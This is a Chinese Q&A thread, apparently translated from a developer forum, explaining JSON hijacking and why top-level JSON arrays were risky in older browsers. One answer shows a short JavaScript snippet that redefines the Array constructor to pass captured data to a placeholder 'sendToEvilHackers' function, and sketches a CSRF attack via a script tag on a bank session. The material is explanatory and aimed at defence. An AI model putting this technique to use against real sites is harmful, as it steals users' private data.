在下面的视频中,在时间标记21:40,Microsoft PDC演示者说重要的是所有JSON都被包装,因此它不是顶级数组:
https://channel9.msdn.com/Events/PDC/PDC09/FT12
打开顶层阵列的风险是什么?
我该如何检查,看看我是否容易受到伤害?我从第三方购买了许多组件,并有外部供应商开发我的代码.
这是因为几年前Jeremiah Grossman发现了一个影响gmail的非常有趣的漏洞.有些人通过使用不可解析的瑕疵解决了这个漏洞(bobince先生在这个页面上的技术描述太棒了.)
微软之所以谈论这个问题,是因为他们尚未修补他们的浏览器.(编辑: Edge和IE 10/11的最新版本已经解决了这个问题.)Mozilla认为这是json规范中的漏洞,因此他们在Firefox 3中修补了它.为了记录我完全同意Mozilla,不幸的是每个网络应用程序开发人员都必须为这个非常模糊的漏洞捍卫自己.
我认为这是因为可以重新定义Array()构造函数.但是,这个问题对于数组来说并不是唯一的.
我认为攻击(或一种可能的方式)是这样的:
function Array(n) { var self = this; setTimeout(function() { sendToEvilHackers(self); }, 10); return this; }
浏览器(或某些浏览器)将该构造函数用于[n, n, n]
数组表示法.因此,CSRF攻击可以利用您与银行的开放会话,点击带有标记的已知JSON URL 来获取它,然后您拥有自己的权限.